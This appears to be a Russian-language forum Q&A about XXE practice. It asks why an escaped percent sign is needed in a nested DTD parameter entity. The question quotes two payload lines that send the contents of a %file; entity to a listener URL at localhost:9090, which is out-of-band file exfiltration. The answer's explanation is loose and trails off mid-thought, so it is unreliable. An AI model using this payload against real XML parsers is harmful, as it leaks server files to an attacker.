Что означает ‘

xml #dtd #xxe

#xml #dtd #xxe

Вопрос:

Когда я практиковал XXE, я обнаружил, что это работает, когда я использую ОБЪЕКТ DTD ниже для отправки моего запроса.

 <!ENTITY % print "<!ENTITY amp;#37; send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
 

Но это не сработало, когда я отправил это.

 <!ENTITY % print "<!ENTITY % send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
 

Разница между ними — «%» и «amp;#37;», интересно, почему это не сработало, когда я использую «%» непосредственно здесь.
Спасибо.

Ответ №1:

Это кодированный в HTML % знак процента (escape-последовательность) в объявлении объекта ПАРАМЕТРА XML-файла, а XML использует кодировку HTML, чтобы не нарушать синтаксис.

То же самое и в Android XML, который он также знает %%
там raw % обычно используется для подстановок.

Каноническая версия будет:

Поскольку синтаксис XML использует некоторые символы для тегов и атрибутов, невозможно напрямую использовать эти символы внутри тегов XML или значений атрибутов.

И именно поэтому некоторые специальные символы в XML ведут себя как «зарезервированное ключевое слово».

Также см. 15.3. Понимание XML DTD.